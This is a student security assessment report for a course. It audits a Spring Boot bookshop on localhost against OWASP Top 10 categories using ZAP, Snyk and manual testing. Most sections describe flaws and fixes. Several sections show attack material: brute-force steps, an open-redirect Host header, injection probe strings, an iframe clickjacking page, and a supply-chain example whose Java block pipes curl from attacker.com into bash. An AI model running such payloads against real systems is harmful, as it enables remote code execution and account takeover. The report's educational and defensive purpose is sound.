# COMP47910 Secure Software Engineering 2025

# **Assignment 2**

Dimitrios Kyriakidis (24293868)

**Supervisor:** Liliana Pasquale



UCD School of Computer Science
University College Dublin

August 2025

## **Table of Contents**

COMP47910 Secure Software Engineering 2025	1
Assignment 2	1
Dimitrios Kyriakidis (24293868)	1
Table of Contents	2
Exploitations	4
Vulnerabilities	4
A01:2021 Broken Access Control	5
CWE-639: Authorization Bypass Through User-Control Key	5
CWE-352: Cross-Site Request Forgery (CSRF)	6
CWE-1275: Sensitive Cookie with Improper SameSite Attribute	7
A02:2021 Cryptographic Failures	9
CWE-319: Cleartext Transmission of Sensitive Information	9
CWE-315: ClearText Storage of Sensitive Information	9
CWE-208: Observable Timing Discrepancy (Timing attack)	10
CWE-598: Information Disclosure (Session ID in URL ReWrite)	11
CWE-524: Use of Cache-Prone Data in Sensitive Input Fields	12
A03:2021 Injection	14
CWE-601: URL Redirection to Untrusted Site ("Open Redirect")	14
CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL Injection)	15
CWE-91: XML Injection (XLST Injection)	16
CWE-20: Improper Input Validation (Email Uniqueness)	16
CWE-120: Buffer Overflow	18
A04:2021 Insecure Design	20
CWE-307: Improper Restriction of Excessive Authentication Attempts	20
CWE-654: Reliance on a Single Factor Decision	22

A05:2021 Security Misconfiguration	23
CWE-250: Execution with Unnecessary Privileges	23
CWE-756: Missing Error Page	23
CWE-693: Protection Mechanism Failure (Content Policy Security Not Set)	25
CWE-1021: Improper Restriction of Rendered UI Layers (Clickjacking)	26
CWE-550: Application Error Disclosure	27
CWE-16: Configuration (GET for POST)	29
CWE-615: Informational Disclosure (Suspicious Comments)	30
A06:2021 Vulnerable and Outdated Components	32
CWE-190: Integer Overflow or Wraparound (via Tomcat Embed Core)	32
CWE-770: Allocation of Resources Without Limits or Throttling (via Tomcat Embed Core) .	33
CWE-226: Incorrect Default Permissions (via MySQL Connector/J)	34
A07:2021 Identification and Authentication Failures	35
CWE-798: Use of hard coded Credentials	35
CWE-521: Weak Password Requitements and CWE: Use of Weak Credentials	36
CWE-613: Insufficient Session Expiration	37
CWE-494: Download of Code Without Integrity Check	38
CWE-829: Inclusion of Functionality from Untrusted Control Sphere	39
CWE-345: Insufficient Verification of Data Authenticity	39
A09:2021 Security Logging and Monitoring Failures	41
CWE-778: Insufficient Logging	41
CWE-117: Improper Output Neutralization for Logs	42
CWE-223: Omission of Security Relevant Information	43
A10:2021 Server-Side Request Forgery (SSRF)	45
CWE-918: Server-Side Request Forgery (SSRF)	45

## **Exploitations**

The discovery of vulnerabilities in the Shop applications, has 4 steps approach, and combines the following techniques:

- 1. **Manual Scan**: Testing and running the application on <a href="http://localhost:8080">http://localhost:8080</a>), manual inspection of code in IntelliJ and on MySQL database. It uses also the OWASP ZAP in manual mode, such as fuzzing, response analysis, request interception).
- 2. **Snyk Scan**: Analyse the Maven project to dependencies for vulnerabilities (CVE) that affect the supply chain of dependencies. This helps to detect security issues from external libraries and components.
- 3. **Automated-Authenticated Scan**: Used in automated mode on ZAP to run full scans, spider to application and test authenticated areas using valid session cookies. We combine this methodology, with authenticated ZAP scan.
- 4. **LLM Support**: Use of ChatGPT for missing vulnerabilities.

### **Vulnerabilities**

The following vulnerabilities are identified in the present Shop application. They are presented in order of importance (from most critical to least critical), following the top 10 OWASP 20212 vulnerability categories that are published at <a href="https://owasp.org/Top10/">https://owasp.org/Top10/</a>. Only those vulnerabilities that have also been exploited by the author of this assignment are being shown<sup>1</sup>.

\_


<sup>&</sup>lt;sup>1</sup> In this report, only the vulnerabilities that were either successfully exploited by the author are presented, or when exploitation was not feasible, there is a detailed explanation of how this could realistically be performed. SSRF vulnerability was not discovered in this application. However, to show the A10:2021 OWASP category, a minimal code was added to illustrate the potential risk associated with SSRF.

### A01:2021 Broken Access Control

### **CWE-639: Authorization Bypass Through User-Control Key**

SEVERITY: HIGH

The application implements access control based on roles and distinguishes between admin and customer. Admin functions like /delete/{id}, are strictly intended for users with admin role. Although, error page is missing and attacker can exploit sensitive data, by deliberately making such authorization bypass requests.



BookController.java: Line: 94 (@DeleteMapping("/delete/{id}") public String deleteBook (@PathVariable Long id, HttpSession session) includes an if (!"admin".equals(session.getAttribute("role"))). The method is annotated with DeleteMapping, and expects HTTP DELETE. Same admin check happens with save book and new book. This led to trying to execute the method, leaving space for potential backdoors or advanced exploitation (similarly to using advanced SQL questions, but here we could use to view the error Whitelabel page). The appropriate annotation that should be applied on all admin control method is @PreAuthorize("hasRole('ADMIN')"). Also, each controller class, should have implemented BookNotFoundException.

|--|

Manual exploitation: Running localhost:8080

(Attempted: Although there was not a clear exploitation in a sense of bypassing, the results were not absolutely satisfying)

An attempt was made to exploit any vulnerability when using a use with lower privilege (e.g. a user jim/jim with JSESSIONID=555DBD6EA2B9812A27EFBCE7587EBCA7) to perform administrative action (like deleting an existing book with id 4) without authorization. We attempted by using POST /delete/{id}, including

\_method=delete in the body, that was previously been sent by an admin, but now with the user's session id. This resulted in returning a Whitelabel error page, that was saying that method POST is not supported.

In general: hasRole('ADMIN'): Checks if the user has role name ADMIN.

@PreAuthorize: Is used to define an authorization expression before the method runs, if method is false, execution does not occur. It integrates into Spring requests lifecycle. When user sends a POST /delete, with JSESSIONID of a user, Spring security basically intercepts it, returning a 403 Forbidden response, instead of doing something like redirecting to login or to a Whitelabel error page.

### **CWE-352: Cross-Site Request Forgery (CSRF)**

### SEVERITY: LUM

Application is vulnerable to CSRF attacks, and it does not implement anti CSRF tokens for its actions that change their state e.g. delete books. Even the SameSite (discussed above on the CWE-1275) could offer some limited protection, but it is not sufficient.

#### SOURCE CODE LOCATION

- controller.BookController.java: The deleteBook method on Line 93 and other site changing methods like newBook or updateBook, do not include any logic to generate unpredictable CSRF tokens.
- addBook.html, editBook.html: They do not have include hidden input fields for CSRF tokens e.g.
   <input type="hidden" name="\_csrf" th=value="{\_csrf.token}" />²




OWASP ZAP automated scan detected this CWE, for many URLs of this application e.g. <a href="http://localhost:8080/login">http://localhost:8080/login</a>. There is no known anti-CSRF token in the HTML forms. If the browsers use victim's session cookie JSESSIONID, the request will be redirected at the application's domain, even if sent from another domain.



<sup>&</sup>lt;sup>2</sup> For more: https://stackoverflow.com/a/31732607

### **CWE-1275: Sensitive Cookie with Improper SameSite Attribute.**


### SEVERITY: LUM



Application utilizes a JSESSIONID cookies for the session management. When observed in browser developer tools, this session cookie, did not define the SameSite attribute. This attribute works on new browsers to protect again Cross Site Request Forgery attacks when cookies are sent with cross site requests. Absence of this means that browser's default behaviours will be used here, and this is less secure and differently performed by one browser to another.



Old browsers could send cross site requests to our application, with their session cookie. Unauthorized action can happen when no CSRF tokens are involved. This can happen when browser includes the JSESSIONID cookie in a cross-site content (e.g. we could use malicious.html webpage and have the same results).



## **A02:2021 Cryptographic Failures**

### **CWE-319: Cleartext Transmission of Sensitive Information**

\*Also Is linked to CWE-200: Exposure of Sensitive Information to Unauthorized Actor


### SEVERITY: HIGH

This application operates entirely on HTTP which is not encrypted (<a href="http://localhost:8080">http://localhost:8080</a>). HTTPS uses transport layer security providing security to the exchange of data between user and server. HTTP sends transmitted data on the network in plain text, such as usernames, passwords or even card credentials. Also, the **database** has not TLS encryption too.

application.properties: There is no server.ssl for client server communication, or useSSL= true (or REQUIRED), in the spring.datasource.url for database encryption.

EXPLOITATION — MANUAL SCAN

If an attacker is using the same network e.g. public Wi-Fi or router, with tools like OWASP ZAP or WhireShark, it is easy to exploit sensitive data in plain text. As shown in the picture below, login data are fully exposed. This causes severe exploitation of privacy, gives room for fraud transactions, or leak of sensitive information. Lack of database encryption is even a more severe vulnerability because database server itself can be compromised.



### **CWE-315: ClearText Storage of Sensitive Information**

#### SEVERITY: HIGH


Although in application.properties we are not storing data but rather creating new database tables each time. spring.jpa.hibernate.ddl-auto = create, the customer passwords are stored in plain text in the database without any encoding or salting.

9	SOURCE CODE LOCATION

- model.User.java: The password field in Line 14, it is defined as String and in Line 23 there is no encryption or salting applied.
- repository.UserRepository.java: The JpaRepository save method is not processing the password before saving it.
- controller.RegistrationController.java: userRepository(user) saves the user details (including the password) in plain text on the database.



If a user has access to the database, by SQL injection or otherwise, there will be immediate access to the database plaintext information. This allows straightforward takeover of the account. The observation of registered user jim/jim directly from the database confirms this vulnerability.



### **CWE-208: Observable Timing Discrepancy (Timing attack)**

\*Also Is linked to CWE-256: Unprotected Storage of Credentials

### **SEVERITY: MEDIUM**

The application is vulnerable to timing attacks. When we try to compare the password that is hard coded with the one that is sent, String.equals() is used. The method will exit earlier if a mismatch is found at the beginning of the strings, so time it takes to compare passwords is not constant. An attacker may take advantage of this and find information of the password.




Controller.LoginController.java: The timing vulnerability exists in password comparison in the lines:

```
Line 40: if ("admin".equals(username) && "admin123".equals(password)) {
Line 47: if ("customer".equals(username) && "cust123".equals(password)) {
Line 55: if (user.getPassword().equals(password)) {
```

### EXPLOITATION — SNYK SCAN

The attacker can use brute-force or dictionary attacks to measure the response time of each login attempt. If the attempts that match more characters take longer to process, the attacker may have a clue of how long the value may be. Although such attacks are difficult to perform, they weaken the authentication credibility. A more secure comparison is using java.security.MessageDigest.isEqual as Snyk suggest that should execute in constant times, regardless the input.



### **CWE-598: Information Disclosure (Session ID in URL ReWrite)**

### **SEVERITY: MEDIUM**


URL rewriting is used to track user session and it embeds the JSESSIONID into the URL path (e.g. <a href="http://localhost:8080/login;jsessionid=A8C13495C917EC964D1708C35">http://localhost:8080/login;jsessionid=A8C13495C917EC964D1708C35</a> as the above picture shows). This method leads to disclosure of sensitive session data.



It is a typical behaviour of the servlet containers like Tomcat that Spring Boot uses, when cookies are ignored.

EXPLOITATION — AUTOMATED-AUTHENTICATED SCAN

OWASP ZAP automated scan exposed this vulnerability (;jsessionid=A8C13495C917EC964D1708C35). The presence of session ID on URL exposes many "obvious" risks to the application (e.g. if the URL is shared the session id is directly exposed).



### **CWE-524: Use of Cache-Prone Data in Sensitive Input Fields**

### SEVERITY: MEDIUM

The login page, include username and password input that lack an explicit autocomplete attribute. This allows some browsers to autofill these fields by default. This may lead to unauthorized disclosure or injection of stored values by JavaScript.


```
Source Code Location
```

login.html: Lacks the autocomplete attributes (username and password case) for both user and admin.

By typing letter "J" on browser Mozilla, field username and password has automatically been completed by choosing username jim.

# **Welcome to the Books Store**

# **Customer Login**



## A03:2021 Injection

### CWE-601: URL Redirection to Untrusted Site ("Open Redirect")

SEVERITY: HIGH

Application is vulnerable to URL redirection to untrusted Site that is also known as *Open Redirect*. This vulnerability happens when application redirects users to URL that is made from untrusted input (HTTP changed Host or URL parameters) and use no validation, allowing the attacker to redirect the target,

Source Code Location

It is the Sprint Boot framework default handling of redirect with untrusted HTTP headers. When methods in the controllers like in BookController newBook Line 54, or updateBook Line 83, or deleteBook Line 93, or in CartController addToCart Line 33 or processCheckOut Line 72, return a string e.g. redirect:/bool, the Spring book makes a full redirection using Host header. If the header is not validated, it can be manipulated.


EXPLOITATION — AUTOMATED-AUTHENTICATED SCAN

Attacker sends a GET request <a href="http://localhost:8080/books">http://localhost:8080/books</a> with header malicious.com

Application processes the requests and decides to redirect to <a href="http://localhost:8080/books">http://localhost:8080/books</a>

However instead of sending it to the location <u>localhost:8080</u>, the application makes a Location header of 302 Found and makes a changed Host header, so the website is <a href="http://malicious.com/books">http://malicious.com/books</a>.

This can be used to phishing attacks (to redirect to a fake login page), or bypassing security if the victim's cookie is sent too. ZAP automated tool confirms this on the URLS /books, /cart/add, delete/1 and /save.



# CWE-89: Improper Neutralization of Special Elements used in an SQL Command(SQL Injection)

### **SEVERITY: HIGH**

This application might be vulnerable to SQL injection, and this could allow the attacker to execute SQL queries through manipulated input. Although testing manually such queries failed in all attempts, suggesting that this might be a *false ZAP automated scan alarm*. In a successful case, attacker could have access to the database and harm the system.



Spring Data JPA repositories e.g. findAll(), findById(), save(), delete(), findByUsername(), that use prepared statements in general.

- controller.BookController.java (GET /books, POST /save, DELETE /delete/{id})
- controller. LogincController.java (POST /login)

EXPLOITATION — AUTOMATED-AUTHENTICATED SCAN

OWASP ZAP's active scan detected SQL injection on many URLs and parameters:

### URLs:

http://localhost:8080/books, http://localhost:8080/cart/add, http://localhost:8080/delete/1, http://localhost:8080/login, http://localhost:8080/save

HTTP HEADERS: Host, User-Agent and Referrer headers, URL paths or Form parameters (jsessionid, username)

Example for Login: http://localhost:8080/login , ZAP successfully manipulated Boolean conditions jsessionid=...%26username=admin%26password=admin%261%3D1. This means that payloads like 1=11 or 1=2 into jsessionid or username parameters could cause a detectable difference in the application response, as we learned in the SQL injection advanced section of WebGoat. Although many of these alarms are detected from ZAP as critical, it might be a false alarm, because Spring JPA is/might be safe enough from SQL injections.




### **CWE-91: XML Injection (XLST Injection)**

### **SEVERITY: HIGH**

XLST injection is a type of XML injection when user-controlled input XLST is used. This kind of injection may allow the attacker to execute code on the server by using this kind of XML.

	Source Code Location		
Apache T	omcat uses/may use XSLT processor. No direct use of XSLT from user.		
	EXPLOITATION — AUTOMATED-AUTHENTICATED SCAN		


OWASP ZAP automated scan deleted this vulnerability. It is mostly an alert and not a direct exploitation. URLs like this: <a href="http://localhost:8080/%3Cxsl:value-of%20select=%22system-property('xsl:vendor')%22%2F%3E">http://localhost:8080/%3Cxsl:value-of%20select=%22system-property('xsl:vendor')%22%2F%3E</a> could cause the server to be exploited or trigger an error. This is a generic finding, most likely a **false positive**, because this application does not use any XSLT user input. This application instead uses Thymeleaf which is HTML based, rather than XSLT.



### **CWE-20: Improper Input Validation (Email Uniqueness)**

### SEVERITY: MEDIUM

The application fails to validate for unique email address provided during registration of a new customer. This allows distinct user account to be associated with same email, leading to violation of integrity of data.




**SOURCE CODE LOCATION** 

- controller.RegistrationController.java: The registerUser method (Line 26) only checks for the uniqueness of the username userRepository.findByUsername(use.getUsername()) but does not perform any validation to ensure if the email is unique, before saving the User in the database.
- Repository.UserRepository.java: This interface is missing a method to find users by email, for example Optional<User> findByEmail(String email) for making the check. An attacker can register many accounts using the same email address, creating ambiguity when the user tries to identify, and also can cause problems when accounts tries to recover (e.g. password reset). The ability to successfully have registered as jim and jim2, and both use <a href="mailto:a@a.com">a@a.com</a> demonstrates this lack of validity.


EXPLOITATION — MANUAL SCAN

The attacker can exploit the application by a manual registration.

- First user account is registered successfully (username jim and email: <u>a@a.com</u>)
- A second account is registered successfully (username: jim2 but uses the same email a@a.com)




The same exploitation was found again later with OWASP ZAP automated scan tools.



### **CWE-120: Buffer Overflow**

### SEVERITY: MEDIUM


Buffer overflow is when program tries to write data to buffer that is larger than the memory that is allocated. Zap tries to write a huge parameter to the memory that successfully caused buffer overflow.



OWASP ZAP automated scan detected Buffer Overflow by injecting huge size input fields. These errors indicate:

Errors of this type, lead to unexpected execution.

Script connection stopped and threw 500 Internal Server Error. Such an attack caused denial of service and may disrupt service availability.



## A04:2021 Insecure Design

SEVERITY: HIGH

### **CWE-307: Improper Restriction of Excessive Authentication Attempts**

Application lacks the ability to perform security controls to prevent or mitigate brute-force attacks. This mechanism should especially work on login functionality and in every request, to prevent DDOS. Mechanisms such as rate limiting<sup>3</sup>, account locks after many failed attempts, or CAPTCHA challenges to determine if the client is driven by a robot or a human.

Source Code Location

• Controller.LoginController.java: The login method at Line 32, makes authentication of the user, without making any checks for suspicious activity (e.g numbers of failed attempts from an IP within a certain interarrival time). This control is missing any business logic.


This vulnerability is one of the hardest to solve, because there are too many ways to harm the servers. Use of Cloudfare is one of the most effective solutions for this vulnerability, it offers edge-level brute force attack protections. WAF rules, rate limiting, bot detection, geo-blocking and CAPTCHA are the most crucial and happen before the request reaches the application layer. For example, brute force tools of ZAP cannot be blocked easily with Cloudfare.


EXPLOITATION — MANUAL SCAN


Combining ZAP fuzzer and known username/passwords or by brute forcing the session id cookie, we can send large number of username/passwords to the /login. As demonstrated on the CWE-**798** picture of brute-force with the ZAP fuzzer (that we found a successful combination of role/username and password), the application processes the requests without any delays, account locks or CAPTCHA challenges.

\_

<sup>&</sup>lt;sup>3</sup> Such as <a href="https://www.geeksforgeeks.org/advance-java/spring-security-for-api-rate-limiting/">https://www.geeksforgeeks.org/advance-java/spring-security-for-api-rate-limiting/</a>. For example, if more than 200 requests per minute occur, the server will respond with 429 - Too Many Requests status.







### **CWE-654: Reliance on a Single Factor Decision**

### **SEVERITY: MEDIUM**

This application relies only on a single authentication (user and password) for user login. There is no multi factor authentication implemented, so the authentication is based solely in one piece of evidence.



Controller.LoginController.java: The login controller (Line 32) only validates username and password, without any concerns about secondary authentication factors.



User accounts are highly vulnerable if credentials are stolen from phishing or brute force attacks (demonstrated on CWE-307 that with brute force we joined as admin). The attacker can impersonate to any unauthorized actions without any additional verification.

## A05:2021 Security Misconfiguration

**CWE-250: Execution with Unnecessary Privileges** 

**SEVERITY: HIGH** 

Application connects to MySQL with root user account. Root user has typically full admin privileges over the entire MySQL server, which is far more than the privileges required by this application that uses only one schema.

	SOURCE CODE LOCATION
applicatio	on.properties: spring.datasource.username=root
	EXPLOITATION — MANUAL SCAN

Although this spring boot project does not seem to have clear exploitation to SQL injection<sup>4</sup>. If a developer adds on the project @Query annotation with native SQL or EntityManager.createNativeQuery() or JdbcTemplate with unsensitized input, there can be an SQL injection. Having root privileges makes the case even worse. The level of access goes beyond our schema, and lets the attacker:


- Access, modify or delete data in other databases on the same MySQL server.
- Create new databases.
- Execute highly privileges methods, such as LOAD DATA INFILE.

**CWE-756: Missing Error Page** 

**SEVERITY: MEDILIM** 

\_

<sup>&</sup>lt;sup>4</sup> SQL injection is another OWASP vulnerability category. We tried to find out any exploitation of username with full admin privileges.



"Book Sore Application" does not have neither error page, not any error page configuration. Thus, when error occurs (e.g. unsupported HTTP method used), then the Spring Boot default 'Whitelabel Error Page' is displayed. This page has sensitive information and provides details about the application structure and exact place of the failure.

# Source Code Location

This vulnerability happens because there is no handling on application.properties file (e.g. server.error.whitelabel.enabled=false) and custom error views for example an error.html page, or a catholic exception handling like @ControllerAdvice class) to filter error messages for the user.

EXPLOITATION — MANUAL SCAN

An aattacker can trigger error page by sending requests with unsupported HTTP methods to endpoints. For example, using GET to /delete/{id}, which uses specifically a DELETE (@DeleteMapping("/delete/{id}")). The leaked stack provides intelligence and sensitive data to the attacker.

### **CWE-693: Protection Mechanism Failure (Content Policy Security Not Set)**

#### **SEVERITY: MEDIUM**


This application does not implement Content Security Policy (CSP) header, which could help to mitigate the client side attacks, e.g. Cross Site Scripting or data injection. Defining which set of content is allowed (scripts, images) CSP browser blocks the resource loading. Absence of this happens, loads all content, thus more surface is available for vulnerability.

Source Code Location

Class SecurityConfiguration<sup>5</sup> is missing that filter the security filter chain and provide any server configurations.

EXPLOITATION — AUTOMATED-AUTHENTICATED SCAN

Direct exploitation couldn't be performed because the application itself is small enough to provide more functionality, e.g. user uploading a photo. This exploitation should have been fixed because it provides a vulnerability that is prone to be exploited. The ZAP alert is evidence of this vulnerability.




Another exploitation we did is that, using an html with an iframe, we could easily navigate and use the website functionality, because it is not blocked by the headers.

For more: <a href="https://spring.io/blog/2022/02/21/spring-security-without-the-websecurityconfigureradapter">https://spring.io/blog/2022/02/21/spring-security-without-the-websecurityconfigureradapter</a>
SecurityConfiguration should extend config class WebSecurityConfigurerAdapter from Spring Boot Security.

<html><head></head><body>iframe is below

<iframe src="http://localhost:8080" width="100%"
height="800"></iframe></body></html>



This happened as explained because the headers are missing:

```
HTTP/1.1 302
GET http://localhost:8080/ HTTP/1.1
                                                                   Set-Cookie: JSESSIONID=6CB5E939C64F1FB3BD7AFD9A6F7D7FBF; Path=/; HttpOnly
host: localhost:8080
                                                                   Location:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:
                                                                   http://localhost:8080/login;jsessionid=6CB5E939C64F1FB3BD7AFD9A6F7D7FBF
141.0) Gecko/20100101 Firefox/141.0
                                                                   Content-Language: en-US
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
                                                                   Content-Length: 0
                                                                   Date: Sun, 03 Aug 2025 17:48:52 GMT
Accept-Language: en-US,en;q=0.5
                                                                  Keep-Alive: timeout=60
Connection: keep-alive
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i
content-length: 0
```


### CWE-1021: Improper Restriction of Rendered UI Layers (Clickjacking)

### **SEVERITY: MEDIUM**

This application is vulnerable to clickjacking because it does not implement X-Frame-Options HTTP header. Those headers tell the browser whether a page can be loaded from an iframe or not.

SOURCE CODE LOCATION	
	SOURCE CODE LOCATION

Class SecurityConfiguration is missing the security filter chain HttpSecurity configuration for X-Frame-Options.



**CWE-550: Application Error Disclosure** 

SEVERITY: LUM

<sup>\*</sup>Also Is linked to CWE-1295: Information Disclosure (Debug Error Messages)


As discussed on the CWE-756, this application is missing the error page and is configured to show the warning messages to the client. For the same reasons as in CWE-756, this raises a vulnerability issue.

Source Code Location


The application lacks a global error handling mechanism such as @ControllerAdive, or custom error page for all 500 errors), to sanitize these sensitive Java message to the client.

EXPLOITATION - AUTOMATED-AUTHENTICATED SCAN

ZAP automated scan detected this vulnerability when tried to access this example page: http://localhost:8080/save, that triggered a 500 internal error.



2025-07-26T01:03:21.412+03:00 WARN 2772 --- [Persistency] [nio-8080-exec-9] .w.s.m.s.<u>DefaultHandlerExceptionResolver</u> : Resolved [org.springframewo 2025-07-26T01:03:40.886+03:00 WARN 2772 --- [Persistency] [io-8080-exec-10] .w.s.m.s.<u>DefaultHandlerExceptionResolver</u> : Resolved [org.springframewo 2025-07-26T01:03:52.084+03:00 WARN 2772 --- [Persistency] [nio-8080-exec-1] .w.s.m.s.DefaultHandlerExceptionResolver : Resolved [org.springframewo




### **CWE-16: Configuration (GET for POST)**

### SEVERITY: LUW

It is not a direct weakness, but it a misconfiguration that may lead the framework or the application vulnerable because of future changes. An attacker could easily login to website using this link: http://localhost:8080/login?password=jim&role=admin&username=jim




OWASP ZAP successfully sent a GET <a href="http://localhost:8080/login?password=jim&role=admin&username=jim">http://localhost:8080/login?password=jim&role=admin&username=jim</a>. This request was originally observed as a POST and is also accepted as a GET.



### **CWE-615: Informational Disclosure (Suspicious Comments)**


### **SEVERITY: LUW**

Application has comments on its HTML RESPONSES. Comments are not malicious, but they might disclose information about the application.



Although OWASP automated scan discovered this vulnerability, it is easily visible by inspecting the elements of the html (e.g. on Mozilla right click -> Inspect (Q)).

```
0 <h1>Welcome to the Books Store</h1>
                             p: 2rem; flex-direction: row; flex
                       STATE-
      <!-- Admin Login -->
      <div>
4
          <h2>Admin Login</h2>
          <form action="/login" method="post">
              <input type="hidden" name="role" value="admin" />
              <label>Username:</label>
              <input type="text" name="username" required />
              <label>Password:</label>
              <input type="password" name="password" required />
4
              <button type="submit">Login as Admin</button>
          </form>
6
      </div>
8
      <!-- Customer Login -->
```



## **A06:2021 Vulnerable and Outdated Components**

### **CWE-190: Integer Overflow or Wraparound (via Tomcat Embed Core)**

### **SEVERITY: HIGH**


This application uses some third-party libraries that have some known security vulnerabilities and are identified from static analysis. The vulnerable components introduce security risks though their inherited flaws. There is an integer flaw or wraparound issue. This flaw may affect file uploads on servelet containers. The attacker could make malicious form-data requests with Content-Length headers, that can lead to integer overflow vulnerabilities, bypassing file size restrictions and cause memory issues. Snyk suggests updating org.apache.tomcat.embed:tomcat-embed-core on versions 9.0.107, 10.1.43, 11.0.9 or higher.

Source Code Location

pom.xml: org.apache.tomcat.embed:tomcat-embed-core library is of version 10.1.42 and is a transitive dependency of org.sringframework.boot:spring-book-starter-web@3.5.3

EXPLOITATION — SNYK SCAN — CVE-2025-30705 HIGH SEVERITY

There was no file upload functionality on this project, thus direct exploitation couldn't be done. If there was such a functionality, this could be exploited by bypassing size limits and denial of service. The vulnerability is present though and needs attention.



# CWE-770: Allocation of Resources Without Limits or Throttling (via Tomcat Embed Core)

### **SEVERITY: HIGH**


The vulnerability us in org.apache.tomcat.embed:tomcat-embed-core library and is related to the "Allocating of Resources Without Limits or Throttling" – CVE-2025-53506. This affects HTTP/2 multiplexing feature, where the attacker can make exhaustion of resources when creating HTTP/2 streams with TCP connection, that could lead to denial of service.

# Source Code Location

pom.xml: org.apache.tomcat.embed:tomcat-embed-core library is of version 10.1.42 and is a transitive dependency of org.sringframework.boot:spring-book-starter-web@3.5.3

```
EXPLOITATION — SNYK SCAN — CVE-2025-53506 HIGH SEVERITY
```


OWASP ZAP is a general-purpose analysis tool and exploitation was unsuccessful. Nature of HTTP/2 protocol requires tools for making HTTP/2 frames and application that work on HTTP/2. Also observing resource exhaustion requires server-side monitoring tools. However Snyk identifies this vulnerability and confirms its presence in the dependencies. So, if an attacker can trigger this vulnerability, it could cause exhaustion of resources and the application will be unable to serve legitimate users and will achieve denial of service.




### CWE-226: Incorrect Default Permissions (via MySQL Connector/J)

### **SEVERITY: HIGH**

Exists in com.mysql:mysql-connector-j library, version 9.2.0. This means that the library's default configuration may expose the sensitive data or allow unauthorized actions if settings are not explicitly reconfigured.



To exploit such flows in database connector library, needs a specific low-level interaction a unique set of circumstances. While the vulnerable library is there, the application's usage of connection with Spring Data JPA may not trigger the specific code paths. However, the flaw identified by Snyk and this confirms that there is a potential risk of using this library.



### A07:2021 Identification and Authentication Failures

### **CWE-798: Use of hard coded Credentials**

\*Also Is linked to CWE-259: Use of hard coded Password

### **SEVERITY: HIGH**



Application contains sensitive user credentials (both admin and customer roles) in its source code. If the attacker gains access to the source code, the credentials can be easily discovered, and this could lead to unauthorized access. This vulnerability was found and exploited manually and then been discovered by Snyk tool also, providing also probable fixed using System.getenv instead of hard coded strings.

Source Code Location


controller.LoginController.java: Hard coded admin credentials username="admin", password= "admin123" that are found on Line 40 and the hard coded customer username="customer", password="cust123", that can be found on Line 47.

EXPLOITATION — MANUAL SCAN AND SNYK

- The attacker can used fuzzer to brute-force the /login endpoint (cluster bomb attack).
- The POST <a href="http://localhost:8080/login">http://localhost:8080/login</a> was targeted, with *role* parameter as a fixed string "admin".

- For username and password, payloads were loaded from the SecLists repository <a href="https://github.com/danielmiessler/SecLists">https://github.com/danielmiessler/SecLists</a>, specifically top-usernames-shortlist.txt for the usernames and Most-Popular-Letter-Passes.txt (modified) for the passwords.
- Analysis of fuzzer results in ZAP, revealed 2 distinct response types:
- 1. Failed attempts: 200 OK status, body of 2162 bytes for login.html page, which means login failure.
- 2. Successful attempts: 302 found status and size resp. body of 0 bytes. This pattern redirects to main page (/) and has no response body during the redirect.


Payload of username=admin and password=admin123 from the fuzzed lists were identified as successful. This showcase that the brute force attack successfully identified a valid admin username and password.



### CWE-521: Weak Password Requitements and CWE: Use of Weak Credentials

### **SEVERITY: MEDIUM**

Application does not force strong password during registration of user. This allows users to choose weak passwords, which make user accounts susceptible for brute force or attacks using dictionaries. The fact that username *jim* and password *jim* was acceptable, and the confirmation on mySQL database confirms this.



- model.User.java: The password field (Line 14) does not have any validation annotations @Size,
   @Patterns, to force rules.
- Controller.RegistrationController.java: The registerUser (Line 24) saves the User object without confirming any server-side password strength validation.



The attacker can register new accounts with easy passwords or target any existed account with dictionary attacks and brute force. The success of such registration with username jim and password jim demonstrates the vulnerability.

### **CWE-613: Insufficient Session Expiration**

### **SEVERITY: MEDIUM**

This application does not enforce an expiration policy. When the user logs in, the sessions remain valid indefinitely, unless browser is closed. The attack can access the session ID and hijack it, even if long time is passed.

# SOURCE CODE LOCATION


• Controller.LoginController.java: There is no timeout or session expiration logic here.

```
HttpSession session = request.getSession();
session.setAttribute("username", customer.getUsername());
```

• application.properties: there is not server.servlet.session.timeout=15m or if we had session.setMaxInactiveInterval(900); then Set-Cookie header would have been Set-Cookie: JSESSIONID=...; Max-Age=900; Expires=...; Secure; HttpOnly; SameSite=Strict



User logs in as jim/jim and gets session cookie 72715D77FB58CEF33EA4479B7F2DCCFA. The HTTP response that we receive does not have Set-Cookie:... Max-Age variable, and have been tested to be valid even after 30+ minutes of being inactive.



Request

```
POST /Login HTTP/1.1

Cookie: JSESSIONID= 72715D77FB58CEF33EA4479B7F2DCCFA

Response

HTTP/1.1 200 OK

Content-Type: text/html;charset=UTF-8

Keep-Alive: timeout=60

(No Set-Cookie header with expiration)A08:2021 Software and Data Integrity Failures
```

### **CWE-494: Download of Code Without Integrity Check**

### **SEVERITY: HIGH**

The project does not have any implementation system to verify the integrity of 3<sup>rd</sup> party components that were downloaded from Maven. For example, dependencies such as Spring boot starter, Hibernate and MySQL Connector are trusted without validation (checksum or signature verification). A man in the middle could hijack the dependency supply chain.

```
Source Code Location
```

There is no verification of the dependency signatures, e.g. using sigtool-maven-plugin.

```
EXPLOITATION — CHATGPT SUPPORT
```

Not tested: Attackers can publish malicious version of common libraries like mysql-connector-j to Maven Central or intercept downloads over misconfigured proxy and uses same groupId/artifactId, which includes the block:

```
static {
    try {
        Runtime.getRuntime().exec("curl http://attacker.com/exfil.sh | bash");
    } catch (Exception ignored) {}
}
```

This could allow remote access and makes the application vulnerable.

## **CWE-829: Inclusion of Functionality from Untrusted Control Sphere**

SE\	/ER	ITY	′: ⊩	11GH
-----	-----	-----	------	------


This application has development time tools like Spring Boot DevTools which is not intended for production. Features of this like auto-restart and remote update may expose the server logic.
SOURCE CODE LOCATION
pom.xml: <dependency></dependency>
<pre><groupid>org.springframework.boot</groupid></pre>
<pre><artifactid>spring-boot-devtools</artifactid></pre>
<scope>runtime</scope>
<optional>true</optional>
EXPLOITATION — CHATGPT SUPPORT
Not tested: If this artifact is deployed in production, it can cause <b>remote code execution (RCE)</b> . For example, attacker sends crafted POST /restart to Spring Boot DevTools, then DevTools execute the logic of the attacker.
*Even if remote DevTool is disabled by default, /actuator/restart could re-enable it if application is misconfigured.
CWE-345: Insufficient Verification of Data Authenticity  SEVERITY: MEDIUM
There is no server-side verification of authenticity when user sends information (name, address or card number), and no cryptographic binding.
Source Code Location
